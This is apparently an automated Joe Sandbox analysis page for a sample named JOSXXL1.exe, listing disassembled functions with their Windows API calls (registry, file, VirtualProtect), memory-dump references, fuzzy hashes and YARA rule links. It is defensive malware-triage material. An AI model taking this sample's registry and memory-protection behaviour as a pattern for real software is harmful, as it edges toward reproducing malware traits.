Instruction ID: 67d9160ce0aa1e2e76d61ceadf7dfe4382c4b6927c35e4cb0672809be5a1f01d
Opcode Fuzzy Hash: 018d308ea692820c8829675fa6e34eac859b76ea50dec8528c81e60ce8839cd5
Instruction Fuzzy Hash: 2D316D30200219EBDB109F55DD84ADA3E68EB08359B10843BF905EA1D0D779DF50DBA9

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000122,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nstA69B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 6b8680535f0b85fdc843acb4741b92e467c1e624be2e580cfd2f738fb4bf4c11
Instruction ID: e180782171dce9fa6fade52b03e39cf5b39f26fab5a396fb1bde1b9fb5ac53b7
Opcode Fuzzy Hash: 6b8680535f0b85fdc843acb4741b92e467c1e624be2e580cfd2f738fb4bf4c11
Instruction Fuzzy Hash: 2111A331911205EBDB10CFA0CB489BEB7B4EF44354F20843FE446B72D0D6B85A41DB19

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f9407d004fa553bc8aea849b77edd3aa449c930f6ff429ba1ebd3d51c967f122
Instruction ID: 26eaddb35cdc13faf07641838d00295e4864c68e45bdd86d166378f51b3c2f7b
Opcode Fuzzy Hash: f9407d004fa553bc8aea849b77edd3aa449c930f6ff429ba1ebd3d51c967f122
Instruction Fuzzy Hash: 3201F431724210EBE7295B389D04B6A3698E710714F10897FF855F62F1D678CC028B5D

Function 0040231F Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000122,00000000,00000022,00000000,?,?), ref: 00402CF1

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040233E
RegCloseKey.ADVAPI32(00000000), ref: 00402347

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: c59139a464c15aa085cb21755151ec7ff0657f277cb3fbf5c983bdbea560d0af
Instruction ID: 60bb5986470d48ad8cc55f7ac878df2b05d68ac6ea48f0c646ace7267bb4d846
Opcode Fuzzy Hash: c59139a464c15aa085cb21755151ec7ff0657f277cb3fbf5c983bdbea560d0af
Instruction Fuzzy Hash: 88F04F32A04110ABEB11BFB59B4EABE72699B40314F15807BF501B71D5D9FC9902962D

Function 00406559 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,00403422,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040656B
GetProcAddress.KERNEL32(00000000,?), ref: 00406586

Part of subcall function 004064ED: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406504
Part of subcall function 004064ED: wsprintfW.USER32 ref: 0040653F
Part of subcall function 004064ED: LoadLibraryW.KERNELBASE(?), ref: 0040654F

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 8ec7921864f699fe8fbd142852d98d12a3a6d7db0e4c5c6745342fffa33e782c
Instruction ID: e4d993762fdbf4af8c35b1588ad4eaffa1172a51f023226dd59e00ceba6dfa89
Opcode Fuzzy Hash: 8ec7921864f699fe8fbd142852d98d12a3a6d7db0e4c5c6745342fffa33e782c
Instruction Fuzzy Hash: 12E086335042106BD2105B70AF4487773B89E94704306083EF546F2044D778DC329A6D

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 9fe90b50c1299fe4fda6fea10b77ea4039d57455645490fd416540ed0fe32fde
Instruction ID: 2c738a9deecb2df013c07ba3b1cf6af0bd96662f3609e31d22ea84ca5a045a2b
Opcode Fuzzy Hash: 9fe90b50c1299fe4fda6fea10b77ea4039d57455645490fd416540ed0fe32fde
Instruction Fuzzy Hash: 4FE08C326005009BCB20AFB5AB4999D3375DF50369710007BE442F10E1CABC9C408A2D

Function 00405D58 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\Desktop\JOSXXL1.exe,80000000,00000003), ref: 00405D5C
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D7E

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 7f22f31ca84e25cf3c35cca7fc28e1469c604482c982d9b12555b4894eb7b1e0
Instruction ID: e98dd403a5e5432679a9d4e257ef455d3d6759c2e5ed6cf280caa05d5291d686
Opcode Fuzzy Hash: 7f22f31ca84e25cf3c35cca7fc28e1469c604482c982d9b12555b4894eb7b1e0
Instruction Fuzzy Hash: B3D09E71654601EFEF098F20DF16F2E7AA2EB84B00F11562CB682940E0DA7158199B19

Function 00405D33 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405938,?,?,00000000,00405B0E,?,?,?,?), ref: 00405D38
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D4C

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction ID: bbac5bc73aa77dea78574471440e90d8105817861fa72b5948562f5081259be0
Opcode Fuzzy Hash: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction Fuzzy Hash: 1CD0C976504520ABC2112728AE0C89BBB55EB54371B028B35FAA9A22B0CB304C568A98

Function 0040582E Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004033A9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 00405834
GetLastError.KERNEL32 ref: 00405842

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 90cc4c9737d43430731b600de694bcf2d45feac9894761d90dfe22e9228b7257
Instruction ID: 106bcc9dbfec6d9c4c73fbe0ebad0997e3226ea8ec62ae9f19e78208b048f617
Opcode Fuzzy Hash: 90cc4c9737d43430731b600de694bcf2d45feac9894761d90dfe22e9228b7257
Instruction Fuzzy Hash: C9C04C31204A019AD6606B209F09B177954EB50741F1184396946E00A0DB348425DE2D

Function 00405E0A Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000,00412514,0040CEF0,004032EF,0040CEF0,00412514,00414EF0,00004000,?,00000000,00403119,00000004), ref: 00405E1E

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: 23ec5f7379bf279edb3dbb3262258d5736cfdadd2d5b14d2449b9c6e52f850f2
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 4DE08C3224021EABCF109F50CC08EEB3B6CEB00360F044432FA99E2080D230EA209BE4

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000122,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 6de8d722f9b5cde2e8321ff20ccbb9f3bd30598b393325d5ca99ac671e434b38
Instruction ID: 027cd1837f043f16bcd3791d2c18ee9a5769249626570c171517a7e702d59ee3
Opcode Fuzzy Hash: 6de8d722f9b5cde2e8321ff20ccbb9f3bd30598b393325d5ca99ac671e434b38
Instruction Fuzzy Hash: 17E0EC76254108BFDB10EFA9EE4BFE97BECAB44704F008435BA09E70E1C674E5509B69

Function 00405DDB Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000,00414EF0,0040CEF0,0040336B,?,?,0040326F,00414EF0,00004000,?,00000000,00403119), ref: 00405DEF

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 619b4f5876fe922fe119770d1c4b6382a551d6d1c0a67235faeb4c306daddfa0
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: BAE08C3220021AABCF10AF90CC04AEB3B6CEB083A0F004833F951E3140D230E9618BE4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c4528ff674870a17743e7c966ff3c37f2ecf4e92b6133aa71faff386c44fe70c
Instruction ID: ca47bcbc6672940417f4f3661b4a0bb48d49598efcfee23ab0cca25c35b9ec2b
Opcode Fuzzy Hash: c4528ff674870a17743e7c966ff3c37f2ecf4e92b6133aa71faff386c44fe70c
Instruction Fuzzy Hash: 00D05B33704100D7CB10DFE89F0869D77759B40334B208177D501F21E4D6B9C5519B1D

Function 00404293 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004042A5

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
